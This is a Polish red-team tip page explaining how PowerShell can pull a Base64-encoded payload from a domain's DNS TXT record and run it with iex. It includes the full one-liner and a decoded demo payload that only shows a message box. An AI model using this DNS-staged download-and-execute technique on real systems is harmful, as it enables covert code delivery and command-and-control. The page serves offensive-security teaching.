alphasec
PowerShell protip 001d
in 𝕏

Pobierz i uruchom payload po DNS

tty1 · powershell
PS> [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iex
#Powershell#RedTeam#DNS#Windows#Infil#C2

Cmdlet Resolve-DnsName służy do resolvowania nazw DNS;). W rekordach TXT mogą się mieścić zupełnie długie łańcuchy znaków, aż się więc prosi, by umieścić w nich złośliwy - bardziej lub mniej - kod. Dla przykładu, zobaczmy co znajduje się w rekordzie TXT domeny msg.aptmc.pl:

PS C:\Users\drg> (Resolve-DnsName -Type TXT msg.aptmc.pl).strings
 W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKQ0KW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KCJJIGxvdmUgdGhpcyBqb2IhIDspIiwgIkhlbGxvIiwgMSk=
PS C:\Users\drg>

Wygląda to jak zakodowany Base64, możemy więc wykorzystać wspomnianego już CyberChefa lub zdekodować go od razu w Powershellu:

PS C:\Users\drg> [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))
 [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
 [System.Windows.Forms.MessageBox]::Show("I love this job! ;)", "Hello", 1)
PS C:\Users\drg>

By to uruchomić, wystarczy dodać na końcu |Invoke-Expression lub w skrócie |iex.

← poprzedni protip 001c ••• Wszystkie protipy następny → protip 001e
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: